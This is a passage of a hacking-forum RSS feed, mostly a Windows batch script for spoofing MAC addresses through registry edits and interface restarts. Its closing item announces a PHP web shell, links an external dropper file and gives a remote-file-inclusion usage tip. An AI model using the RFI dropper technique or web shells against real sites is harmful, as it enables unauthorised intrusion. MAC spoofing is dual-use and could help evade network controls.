echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coded by Noize at HackCommunity.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo.<br />
<br />
set arg1=%1<br />
if /i "%arg1%"=="-help" set arg1=<br />
if defined arg1 goto arg1<br />
<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -s [KEY] ^| -r [KEY]] [-c [CON]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n [MAC]] [-v]<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume (only with -s)<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
goto end<br />
<br />
:arg1<br />
if /i "%arg1%"=="-h" goto help<br />
if /i "%arg1%"=="-d" goto ipconfig<br />
if /i "%arg1%"=="-a" goto mac<br />
if /i "%arg1%"=="-l" goto arp<br />
if /i "%arg1%"=="-m" goto assoc<br />
if /i "%arg1%"=="-s" goto spoof<br />
if /i "%arg1%"=="-r" goto unspoof<br />
:err<br />
echo Syntax error^!<br />
goto end<br />
<br />
:help<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -s [KEY] ^| -r [KEY]] [-c [CON]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n [MAC]] [-v]<br />
echo.<br />
echo&nbsp;&nbsp; If no arguments are specified, a brief help message is shown<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo.<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo.<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo.<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;It should be an identifying word (it might be the whole name too)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can also create a file called "keyword.txt" in the current directory<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to have macspoofer use its content as default keyword<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You might still specify [KEY] to use a different key from the default one<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Please, note your connection name does not mean your NIC's name)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you do not specify it, you will need to restart your NIC manually to<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;see any changes in your MAC address<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can make a file called "con.txt" in the current directory to use its<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content as default connection name<br />
echo.<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo.<br />
echo&nbsp;&nbsp; -n&nbsp;&nbsp; Specify a new MAC address to assume (only with -s)<br />
echo.<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If -n is omitted the MAC address used is 001122334455<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please, note that if you enter an invalid MAC address spoofing will fail<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Allowed formats are 001122334455 and 00:00:00:00:00:00 (12 digits)<br />
echo.<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
goto end<br />
<br />
:ipconfig<br />
set ipconf=ipconfig<br />
if /i "%2"=="-v" set ipconf=ipconfig /all<br />
%ipconf%<br />
goto end<br />
<br />
:mac<br />
&lt; nul set /p var=Please, wait...<br />
set getmac=getmac<br />
if /i "%2"=="-v" set getmac=getmac -v<br />
%getmac%<br />
goto end<br />
<br />
:arp<br />
set arp=arp -a<br />
if /i "%2"=="-v" set arp=arp -a -v<br />
%arp%<br />
goto end<br />
<br />
:assoc<br />
set check=<br />
set check=%2<br />
if not defined check goto noize<br />
for %%a in (1 2 3 4 5 6 7 8 9 0) do if "%check:~0,1%"=="%%a" goto skipassoc<br />
:noize<br />
echo Invalid IP address.<br />
goto end<br />
:skipassoc<br />
arp -a %2<br />
goto end<br />
<br />
:spoof<br />
set newmac=<br />
if /i "%2"=="-n" set newmac=%3<br />
if /i "%3"=="-n" set newmac=%4<br />
if /i "%4"=="-n" set newmac=%5<br />
if /i "%5"=="-n" set newmac=%6<br />
if /i "%6"=="-n" set newmac=%7<br />
if not defined newmac (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=001122334455<br />
) else (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=%newmac::=%<br />
)<br />
set keyword=<br />
set keycheck=%2<br />
if exist keyword.txt for /f "delims=" %%j in ('type keyword.txt') do set keyword=%%j<br />
if defined keycheck set keyword=%keycheck%<br />
if defined keyword goto skip<br />
set /p keyword="Enter a keyword that is part of your NIC's name only: "<br />
:skip<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop<br />
goto keyloop<br />
:quitloop<br />
reg add "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /d "%newmac%" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
if not defined con echo Your MAC address was successfully changed. &amp; echo You'll need to manually restart your NIC to see any changes. &amp; goto end<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh1<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto done1<br />
<br />
:skipnetsh1<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto done1<br />
<br />
:spooffailed<br />
echo.<br />
echo Failed to change your MAC address.<br />
echo Run the program again with administrator privileges.<br />
goto end<br />
<br />
:unspoof<br />
set keyword=%2<br />
if defined keyword goto isdef<br />
:looper<br />
set /p keyword="Enter a keyword that is part of your NIC's name: "<br />
echo.<br />
if not defined key goto looper<br />
:isdef<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop2<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop2<br />
goto keyloop2<br />
:quitloop2<br />
reg query "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo. &amp; echo This NIC's MAC address has not been spoofed yet. &amp; echo Restore failed. &amp; goto end<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
reg delete "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
if not defined con goto skipnic1<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto skipnic<br />
<br />
:skipnetsh<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto skipnic<br />
<br />
:skipnic1<br />
echo MAC and local IP addresses were successfully restored.<br />
echo You will need to manually restart your NIC before you can see any changes.<br />
goto end<br />
<br />
:done1<br />
echo MAC was successfully changed.<br />
goto end<br />
<br />
:skipnic<br />
echo MAC and local IP addresses were successfully restored.<br />
<br />
:end</code></div></div>
<br />
Save the code as macspoofer.bat so that you can use the usage:<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>macspoofer [OPTIONS]</code></div></div>
<br />
Main screen (cmd /k macspoofer):<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>.<br />
&nbsp;&nbsp; ##########################################################################<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Noize's Mac Address Spoofer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coded by Noize at HackCommunity.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; ##########################################################################<br />
<br />
 macspoofer [-h | -d | -a | -l | -m [IP] | -s [KEY] | -r [KEY]] [-c [CON]]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n [MAC]] [-v]<br />
<br />
&nbsp;&nbsp;-h&nbsp;&nbsp; Show an extended help message<br />
&nbsp;&nbsp;-d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
&nbsp;&nbsp;-a&nbsp;&nbsp; View all MAC addresses for current host<br />
&nbsp;&nbsp;-l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
&nbsp;&nbsp;-m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
&nbsp;&nbsp;[IP] Internal IP address to get associated MAC address of<br />
&nbsp;&nbsp;-s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
&nbsp;&nbsp;-r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
&nbsp;&nbsp;[KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
&nbsp;&nbsp;-c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
&nbsp;&nbsp;[CON]Connection name (e.g: Connection to local area network (LAN))<br />
&nbsp;&nbsp;[MAC]MAC address you want to assume (only with -s)<br />
&nbsp;&nbsp;-v&nbsp;&nbsp; Verbose mode</code></div></div>
<br />
This is an open-source free project and you are allowed to re-use the code, edit the code and give away for free the code as long as you give credits.<br />
<span style="font-size: large;"><span style="color: red;"><br />
Any feedback or (especially) bug report is highly appreciated.<br />
</span></span><br />
<hr />
<span style="color: lightblue;"><br />
<span style="font-size: x-small;"><span style="font-family: verdana;"><span style="font-weight: bold;">Todo list:</span></span><br />
 - change MAC address of other hosts in the LAN remotely.<br />
</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] PHP Shell]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-PHP-Shell</link>
			<pubDate>Wed, 17 Apr 2013 14:12:31 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-PHP-Shell</guid>
			<description><![CDATA[<span style="font-size: x-large;">Hack Community PHP Shell</span><br />
<span style="font-size: large;">Version 2.2</span><br />
<br />
Hello Guest.<br />
I have written a PHP shell for the community's own use.  The following is the list of features:<br />
 - Display Directores<br />
 - Create+Edit Files<br />
 - Execute commands<br />
<br />
Dropper file can be found here:<br />
<a href="http://static_cast.home.comcast.net/~static_cast/shell/v2/dropper.txt" target="_blank">http://static_cast.home.comcast.net/~sta...ropper.txt</a><br />
[For those who don't know much about RFI, in order to use nullbye, you must add ? to .txt [ e.g. ?page=http://url.com/dropper.txt? ]<br />
<br />
Here are a few screenshots:<br />
